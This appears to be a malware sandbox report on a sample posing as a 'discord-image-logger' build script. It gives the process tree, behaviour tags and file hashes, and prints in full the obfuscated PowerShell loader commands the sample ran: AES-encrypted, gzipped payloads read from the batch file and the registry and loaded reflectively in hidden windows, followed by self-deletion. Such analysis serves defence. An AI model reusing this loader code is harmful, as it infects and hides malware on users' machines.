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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3448
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3544 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1732
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C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:1892
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C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"build.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function iwkhR($DITIA){ $XVnki=[System.Security.Cryptography.Aes]::Create(); $XVnki.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XVnki.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XVnki.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8ehdS6ppW71xL6mDjAeXsyQHYKmv0CPtd6Kn4aXzt4='); $XVnki.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hx3HwApb8t08fxY/Go7cSw=='); $LrZFK=$XVnki.CreateDecryptor(); $return_var=$LrZFK.TransformFinalBlock($DITIA, 0, $DITIA.Length); $LrZFK.Dispose(); $XVnki.Dispose(); $return_var;}function kOuIB($DITIA){ $DbpkU=New-Object System.IO.MemoryStream(,$DITIA); $qZtjl=New-Object System.IO.MemoryStream; $JMgSB=New-Object System.IO.Compression.GZipStream($DbpkU, [IO.Compression.CompressionMode]::Decompress); $JMgSB.CopyTo($qZtjl); $JMgSB.Dispose(); $DbpkU.Dispose(); $qZtjl.Dispose(); $qZtjl.ToArray();}function ZkZVP($DITIA,$AoxAJ){ $HLgZK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$DITIA); $UXpIZ=$HLgZK.EntryPoint; $UXpIZ.Invoke($null, $AoxAJ);}$zVdRm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat').Split([Environment]::NewLine);foreach ($BYfmw in $zVdRm) { if ($BYfmw.StartsWith(':: ')) { $Rndkm=$BYfmw.Substring(3); break; }}$FMGlq=[string[]]$Rndkm.Split('\');$IgKIL=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[0])));$voFjb=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[1])));ZkZVP $voFjb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZkZVP $IgKIL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function PprBf($RmAux){ $VbRCn=[System.Security.Cryptography.Aes]::Create(); $VbRCn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $VbRCn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $VbRCn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU='); $VbRCn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ=='); $nMOmr=$VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')(); $WZWky=$nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmAux, 0, $RmAux.Length); $nMOmr.Dispose(); $VbRCn.Dispose(); $WZWky;}function SPSlI($RmAux){ $qrnaZ=New-Object System.IO.MemoryStream(,$RmAux); $RJeXu=New-Object System.IO.MemoryStream; $eBeQA=New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::Decompress); $eBeQA.CopyTo($RJeXu); $eBeQA.Dispose(); $qrnaZ.Dispose(); $RJeXu.Dispose(); $RJeXu.ToArray();}function aBEzg($RmAux,$ZKJrf){ $oxAUi=[System.Reflection.Assembly]::Load([byte[]]$RmAux); $qVnjt=$oxAUi.EntryPoint; $qVnjt.Invoke($null, $ZKJrf);}$VbRCn1 = New-Object System.Security.Cryptography.AesManaged;$VbRCn1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$MSWRP = $VbRCn1.('rotpyrceDetaerC'[-1..-15] -join '')();$NUNZn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iZ8jPKmNkFdL1A6USwSGLA==');$NUNZn = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn, 0, $NUNZn.Length);$NUNZn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn);$cBXxm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('302eS2iAhetJuvIY9pVgKOFxBony5LGiLQi+lPOo9Ig=');$cBXxm = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cBXxm, 0, $cBXxm.Length);$cBXxm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cBXxm);$GlTUf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2/VItTApDmqYld7UNbITmw==');$GlTUf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GlTUf, 0, $GlTUf.Length);$GlTUf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GlTUf);$YQTnf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7u8mHn+uE8DouxrXvlfhI8HvaFVabiSu9wW1NQnVBW3d+pbXbyeWiMzHsShgQVzWTccLy3R/sL1Fgo2ngbj1Xyhdd8QHKlT7xJYowF1jSmMT/YNyn61oZ4EBOdIILtHY76iwoY89T/0NXOlbVQSqG6f76Tvu+/ljtRIjK68ygJujUjyjF9W1UFNXnjlbvKaQ0BTSj7AUpwYBspcSQUSWqlV4JZYmfkLzrzzafMFwHzW6zgfk8rU5wxN2vDnC7yji58n7rylZaggz4+okuyhoMrfM4k/T/mqHJ8VdUFO8xpIeX3hePuaZ5Z58y1CyCEoFhGVyjfm3AnZl3fgFnvsWSS15RXMq5KXGV3I38NkazdqvV05jjZTTECaOwsRwu2zLdJ29XVcSC4yPm3wAT5LZe+YH34hMw11+Tv5n+xxqwY=');$YQTnf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YQTnf, 0, $YQTnf.Length);$YQTnf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YQTnf);$CPWdf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vGf9ES1PdsfKW8Swn9bI3w==');$CPWdf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CPWdf, 0, $CPWdf.Length);$CPWdf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CPWdf);$igAgV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UiHcuo7jcw/WkburfrLBQ==');$igAgV = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($igAgV, 0, $igAgV.Length);$igAgV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($igAgV);$ZYOXs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDpsuPmELCzhYTCugvhrpA==');$ZYOXs = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZYOXs, 0, $ZYOXs.Length);$ZYOXs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZYOXs);$cmXWw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Duasd/EcBtQj2cZsgiwg+Q==');$cmXWw = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cmXWw, 0, $cmXWw.Length);$cmXWw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cmXWw);$qpchR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KDa4G8PrmTjfH/8cqC5WDg==');$qpchR = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qpchR, 0, $qpchR.Length);$qpchR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qpchR);$NUNZn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkNHx2c/PIn2isifrSOkpw==');$NUNZn0 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn0, 0, $NUNZn0.Length);$NUNZn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn0);$NUNZn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QCQIFS3Mnpd27lKyoiLRsA==');$NUNZn1 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn1, 0, $NUNZn1.Length);$NUNZn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn1);$NUNZn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McBhlHe8GfiHzcJuHtKawA==');$NUNZn2 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn2, 0, $NUNZn2.Length);$NUNZn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn2);$NUNZn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iUE4hGy8AZeVxL9AvErB6A==');$NUNZn3 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn3, 0, $NUNZn3.Length);$NUNZn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn3);$MSWRP.Dispose();$VbRCn1.Dispose();if (@(get-process -ea silentlycontinue $NUNZn3).count -gt 1) {exit};$Stjgn = [Microsoft.Win32.Registry]::$cmXWw.$ZYOXs($NUNZn).$igAgV($cBXxm);$hQsbc=[string[]]$Stjgn.Split('\');$YNdMX=SPSlI(PprBf([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[1])));aBEzg $YNdMX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NbCPC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[0]);$VbRCn = New-Object System.Security.Cryptography.AesManaged;$VbRCn.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$nMOmr = $VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')();$NbCPC = $nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NbCPC, 0, $NbCPC.Length);$nMOmr.Dispose();$VbRCn.Dispose();$qrnaZ = New-Object System.IO.MemoryStream(, $NbCPC);$RJeXu = New-Object System.IO.MemoryStream;$eBeQA = New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::$NUNZn1);$eBeQA.$qpchR($RJeXu);$eBeQA.Dispose();$qrnaZ.Dispose();$RJeXu.Dispose();$NbCPC = $RJeXu.ToArray();$dlxUL = $YQTnf | IEX;$oxAUi = $dlxUL::$NUNZn2($NbCPC);$qVnjt = $oxAUi.EntryPoint;$qVnjt.$NUNZn0($null, (, [string[]] ($GlTUf)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4128).WaitForExit();[System.Threading.Thread]::Sleep(5000); function PprBf($RmAux){ $VbRCn=[System.Security.Cryptography.Aes]::Create(); $VbRCn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $VbRCn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $VbRCn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU='); $VbRCn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ=='); $nMOmr=$VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')(); $WZWky=$nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmAux, 0, $RmAux.Length); $nMOmr.Dispose(); $VbRCn.Dispose(); $WZWky;}function SPSlI($RmAux){ $qrnaZ=New-Object System.IO.MemoryStream(,$RmAux); $RJeXu=New-Object System.IO.MemoryStream; $eBeQA=New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::Decompress); $eBeQA.CopyTo($RJeXu); $eBeQA.Dispose(); $qrnaZ.Dispose(); $RJeXu.Dispose(); $RJeXu.ToArray();}function aBEzg($RmAux,$ZKJrf){ $oxAUi=[System.Reflection.Assembly]::Load([byte[]]$RmAux); $qVnjt=$oxAUi.EntryPoint; $qVnjt.Invoke($null, $ZKJrf);}$VbRCn1 = New-Object System.Security.Cryptography.AesManaged;$VbRCn1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$MSWRP = $VbRCn1.('rotpyrceDetaerC'[-1..-15] -join '')();$NUNZn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iZ8jPKmNkFdL1A6USwSGLA==');$NUNZn = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn, 0, $NUNZn.Length);$NUNZn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn);$cBXxm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('302eS2iAhetJuvIY9pVgKOFxBony5LGiLQi+lPOo9Ig=');$cBXxm = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cBXxm, 0, $cBXxm.Length);$cBXxm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cBXxm);$GlTUf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2/VItTApDmqYld7UNbITmw==');$GlTUf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GlTUf, 0, $GlTUf.Length);$GlTUf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GlTUf);$YQTnf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7u8mHn+uE8DouxrXvlfhI8HvaFVabiSu9wW1NQnVBW3d+pbXbyeWiMzHsShgQVzWTccLy3R/sL1Fgo2ngbj1Xyhdd8QHKlT7xJYowF1jSmMT/YNyn61oZ4EBOdIILtHY76iwoY89T/0NXOlbVQSqG6f76Tvu+/ljtRIjK68ygJujUjyjF9W1UFNXnjlbvKaQ0BTSj7AUpwYBspcSQUSWqlV4JZYmfkLzrzzafMFwHzW6zgfk8rU5wxN2vDnC7yji58n7rylZaggz4+okuyhoMrfM4k/T/mqHJ8VdUFO8xpIeX3hePuaZ5Z58y1CyCEoFhGVyjfm3AnZl3fgFnvsWSS15RXMq5KXGV3I38NkazdqvV05jjZTTECaOwsRwu2zLdJ29XVcSC4yPm3wAT5LZe+YH34hMw11+Tv5n+xxqwY=');$YQTnf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YQTnf, 0, $YQTnf.Length);$YQTnf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YQTnf);$CPWdf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vGf9ES1PdsfKW8Swn9bI3w==');$CPWdf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CPWdf, 0, $CPWdf.Length);$CPWdf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CPWdf);$igAgV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UiHcuo7jcw/WkburfrLBQ==');$igAgV = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($igAgV, 0, $igAgV.Length);$igAgV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($igAgV);$ZYOXs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDpsuPmELCzhYTCugvhrpA==');$ZYOXs = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZYOXs, 0, $ZYOXs.Length);$ZYOXs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZYOXs);$cmXWw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Duasd/EcBtQj2cZsgiwg+Q==');$cmXWw = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cmXWw, 0, $cmXWw.Length);$cmXWw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cmXWw);$qpchR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KDa4G8PrmTjfH/8cqC5WDg==');$qpchR = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qpchR, 0, $qpchR.Length);$qpchR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qpchR);$NUNZn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkNHx2c/PIn2isifrSOkpw==');$NUNZn0 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn0, 0, $NUNZn0.Length);$NUNZn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn0);$NUNZn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QCQIFS3Mnpd27lKyoiLRsA==');$NUNZn1 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn1, 0, $NUNZn1.Length);$NUNZn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn1);$NUNZn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McBhlHe8GfiHzcJuHtKawA==');$NUNZn2 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn2, 0, $NUNZn2.Length);$NUNZn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn2);$NUNZn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iUE4hGy8AZeVxL9AvErB6A==');$NUNZn3 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn3, 0, $NUNZn3.Length);$NUNZn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn3);$MSWRP.Dispose();$VbRCn1.Dispose();if (@(get-process -ea silentlycontinue $NUNZn3).count -gt 1) {exit};$Stjgn = [Microsoft.Win32.Registry]::$cmXWw.$ZYOXs($NUNZn).$igAgV($cBXxm);$hQsbc=[string[]]$Stjgn.Split('\');$YNdMX=SPSlI(PprBf([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[1])));aBEzg $YNdMX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NbCPC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[0]);$VbRCn = New-Object System.Security.Cryptography.AesManaged;$VbRCn.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$nMOmr = $VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')();$NbCPC = $nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NbCPC, 0, $NbCPC.Length);$nMOmr.Dispose();$VbRCn.Dispose();$qrnaZ = New-Object System.IO.MemoryStream(, $NbCPC);$RJeXu = New-Object System.IO.MemoryStream;$eBeQA = New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::$NUNZn1);$eBeQA.$qpchR($RJeXu);$eBeQA.Dispose();$qrnaZ.Dispose();$RJeXu.Dispose();$NbCPC = $RJeXu.ToArray();$dlxUL = $YQTnf | IEX;$oxAUi = $dlxUL::$NUNZn2($NbCPC);$qVnjt = $oxAUi.EntryPoint;$qVnjt.$NUNZn0($null, (, [string[]] ($GlTUf)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:2720 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
PID:4584
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2888
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2868
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"5⤵
- Views/modifies file attributes
PID:1780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3660
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3840
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:4000
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2648
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4428
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3328
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1960
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4440
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1072
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2720
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3716
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3956
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
1.8MB
MD57873612dddd9152d70d892427bc45ef0
SHA1ab9079a43a784471ca31c4f0a34b698d99334dfa
SHA256203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
SHA512d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
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Filesize
52KB
MD59ef28981adcbf4360de5f11b8f4ecff9
SHA1219aaa1a617b1dfa36f3928bd1020e410666134f
SHA2568caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
SHA512ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c
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Filesize
162KB
MD5a366d6623c14c377c682d6b5451575e6
SHA1a8894fcfb3aa06ad073b1f581b2e749b54827971
SHA2567ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
